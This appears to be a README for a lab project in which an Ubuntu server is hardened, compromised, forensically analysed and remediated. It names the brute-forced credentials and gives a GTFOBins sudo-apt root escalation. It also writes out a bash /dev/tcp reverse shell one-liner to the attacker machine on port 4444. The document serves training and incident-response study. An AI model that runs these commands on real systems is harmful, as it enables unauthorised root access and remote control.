Simulated Linux server compromise with full attack chain, forensic analysis, and incident response (Red Team & Blue Team).
This project simulates a complete cybersecurity incident on a Linux server, combining Red Team (attack) and Blue Team (defense) approaches.
The lab reproduces a realistic compromise scenario:
- Initial access via SSH brute-force
- Privilege escalation
- Persistence mechanisms
- Reverse shell communication
- Detection and forensic investigation
- Incident response and remediation
| Role | System | IP Address | Tools |
|---|---|---|---|
| Target Server | Ubuntu | 192.168.252.133 | UFW, Auditd, Fail2ban |
| Attacker | Kali Linux | 192.168.252.135 | Nmap, Hydra, Netcat |
- Harden a Linux server
- Simulate a real attack scenario
- Detect malicious activity via logs
- Perform forensic analysis
- Extract Indicators of Compromise (IOC)
- Apply incident response
Implemented security measures:
-
SSH Hardening:
PermitRootLogin noMaxAuthTries 3
-
Firewall configuration (UFW)
-
Fail2ban protection (brute-force defense)
-
Auditd monitoring:
/etc/passwd,/etc/shadow- sudo usage
- process execution (
execve)
-
Log management using rsyslog
-
Time synchronization (NTP)
- Nmap scan β SSH service detected (port 22)
- Tool: Hydra
- Wordlist: rockyou.txt
- Result:
alice : alice123
- SSH login using compromised credentials
- Creation of malicious user:
hacker_user
- Exploitation via GTFOBins:
sudo apt changelog apt
!/bin/bash
β Root access obtained
bash -i >& /dev/tcp/192.168.252.135/4444 0>&1
- Hundreds of failed login attempts detected
- Successful login from attacker IP
sudoexecution by useraliceuseraddused to create backdoor account
- Detection of executed commands:
exe="/usr/bin/dash"
- Reverse shell activity identified
-
Attacker IP:
192.168.252.135 -
Compromised user:
alice -
Malicious user:
hacker_user -
Suspicious commands:
sudouseraddbash
-
Reverse shell on port
4444
- Block attacker IP using UFW:
ufw deny from 192.168.252.135
- Remove malicious users:
userdel -r hacker_user
- Reset compromised password
- Remove dangerous sudo privileges
- No unauthorized users
- No SSH keys added
- No cron persistence
| Time | Event |
|---|---|
| 22:14 | Brute-force attack started |
| 22:19 | Successful login (alice) |
| 22:21 | Backdoor user created |
| 22:23 | Privilege escalation |
| 22:25 | Reverse shell established |
screenshots/β execution evidencedocs/β detailed analysislogs/β extracted logs and IOCreport/β full forensic report
This project was conducted in a controlled lab environment for educational purposes only.